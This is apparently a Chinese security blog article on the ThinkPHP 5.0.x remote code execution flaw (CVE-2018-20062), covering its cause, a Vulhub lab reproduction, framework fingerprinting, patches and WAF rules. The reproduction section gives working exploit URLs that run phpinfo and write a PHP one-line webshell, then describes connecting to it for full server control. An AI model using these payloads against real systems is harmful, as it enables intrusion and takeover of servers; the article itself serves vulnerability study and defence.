ThinkPHP v5.0.11 远程代码执行漏洞(RCE)深度解析与安全防护指南

ThinkPHP 框架与安全挑战

ThinkPHP 是一款由国人开发的轻量级、高性能的 PHP 开发框架,自2006年诞生以来,因其上手简单、开发效率高、生态完善,被广泛应用于各类Web项目中。然而,正因其普及度高,也成为黑客攻击的重点目标。

ThinkPHP v5.0.11 远程代码执行漏洞(RCE)深度解析与安全防护指南

在众多历史漏洞中,ThinkPHP 5.0.11 版本存在的远程代码执行(RCE)漏洞尤为关键,影响范围广,危害等级高。本文将深入剖析 ThinkPHP v5.0.11 的核心漏洞原理、复现步骤、检测方法及修复方案,帮助开发者和安全研究人员全面掌握该漏洞,提升系统安全性。


ThinkPHP v5.0.11 漏洞概述

漏洞名称

ThinkPHP 5.0.22 / 5.1.29 远程代码执行漏洞(CVE-2018-20062)
影响版本:5.0.0 ≤ ThinkPHP < 5.0.23,5.1.0 ≤ ThinkPHP < 5.1.30

虽然官方漏洞公告中未明确列出 5.0.11,但由于其处于 5.0.0 至 5.0.23 的区间内,ThinkPHP v5.0.11 明确受此漏洞影响

漏洞类型

远程代码执行(Remote Code Execution, RCE)

漏洞等级

高危(Critical)

漏洞成因

该漏洞源于 ThinkPHP 框架对控制器名称和请求方法的处理不当。当未开启强制路由(默认未开启)时,攻击者可通过构造特殊请求,调用框架内部类方法,最终实现任意代码执行。


漏洞原理深度剖析

ThinkPHP 5 在处理 URL 路由时,会将路径参数解析为控制器和操作方法。但在 v5.0.11 版本中,框架未对控制器名称进行严格过滤,导致攻击者可以传入类似 \think\App 这样的类名,从而调用框架内部的 invokeFunction 方法。

关键利用点在于:

  • 攻击者可通过 s 参数控制请求路径。

  • 利用 \think\app::invokefunction 方法,结合 call_user_func_array 函数,执行任意 PHP 函数。

  • 通过 function 和 vars 参数传递目标函数和参数,实现代码执行。


漏洞复现步骤(基于 Vulhub 靶场)

环境准备

  1. 安装 Docker 与 Docker-Compose

  2. 克隆 Vulhub 漏洞靶场:

    git clone https://github.com/vulhub/vulhub.git
    cd vulhub/thinkphp/5-rce
  3. 启动环境:

    docker-compose up -d

漏洞利用

步骤1:验证漏洞是否存在

访问以下URL,触发 phpinfo() 执行:

http://your-ip:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

若页面显示 PHP 配置信息,则说明目标存在 RCE 漏洞。

步骤2:写入一句话木马

将以下木马写入服务器根目录的 shell.php

<?php @eval($_POST['cmd']); ?>

URL 编码后拼接:

http://your-ip:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%20%3F%3E

步骤3:连接 WebShell

使用 中国蚁剑菜刀 等工具,连接:

  • URL: http://your-ip:8080/shell.php

  • 密码: cmd

成功连接后即可执行任意系统命令,实现服务器完全控制。


如何识别 ThinkPHP 框架?

在实战渗透中,快速识别目标是否使用 ThinkPHP 是关键。以下是常见指纹特征:

指纹类型特征
URL 特征/index.php?s=/ 结构常见于 ThinkPHP 路由
Favicon.icoMD5 值为 4e5e5d7364f443e28fbf0d3ae744a59a
错误页面页面包含 “ThinkPHP”、“十年磨一剑” 等字样
特殊参数访问 /?c=4e5e5d7364f443e28fbf0d3ae744a59a 可能触发框架响应

漏洞修复方案

方案一:升级框架(推荐)

立即升级至安全版本:

  • ThinkPHP 5.0.x 用户 → 升级至 5.0.23 或以上

  • ThinkPHP 5.1.x 用户 → 升级至 5.1.30 或以上

使用 Composer 升级:

composer update topthink/framework

方案二:手动修复(适用于无法升级的场景)

修改 thinkphp/library/think/App.php 文件,在 module 方法中添加控制器名白名单校验:

// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);

// 添加安全校验
if (!preg_match('/^[A-Za-z](\w)*$/', $controller)) {
    throw new \think\exception\HttpException(404, 'controller not exists:' . $controller);
}

此代码可阻止非法类名传入,有效防御 RCE 攻击。


自动化检测与防御工具

1. 指纹识别工具

  • Wappalyzer:浏览器插件,可识别 ThinkPHP 框架

  • WhatWeb:命令行工具,支持批量扫描

    whatweb http://target.com

2. 漏洞扫描工具

  • ThinkPHP-RCE-Scanner(GitHub 开源)

  • Vulmap:支持 ThinkPHP 多版本漏洞检测

3. WAF 防护建议

  • 部署 ModSecurity 或 云WAF,规则中加入对 \think\invokefunction 等关键词的拦截

  • 禁用 preg_replace /e 模式(PHP 7.3+ 已废弃)


安全建议总结

  1. 及时更新:ThinkPHP 社区活跃,新版本修复大量安全问题,务必保持更新。

  2. 关闭 Debug 模式:生产环境必须关闭 APP_DEBUG,避免信息泄露。

  3. 最小权限原则:Web 服务运行账户应限制权限,避免提权。

  4. 代码审计:定期对业务代码进行安全审计,避免引入危险函数。

  5. 启用强制路由:在 route.php 中配置路由规则,减少攻击面。


ThinkPHP v5.0.11 的 RCE 漏洞虽已披露多年,但在一些老旧系统或非法网站中仍大量存在。作为开发者或安全人员,掌握此类经典漏洞的原理与防御方法,不仅是技术提升的必经之路,更是保障网络安全的责任。

安全无小事,防患于未然。 建议所有使用 ThinkPHP 的项目立即检查版本,及时升级修复。

发表评论

评论列表

还没有评论,快来说点什么吧~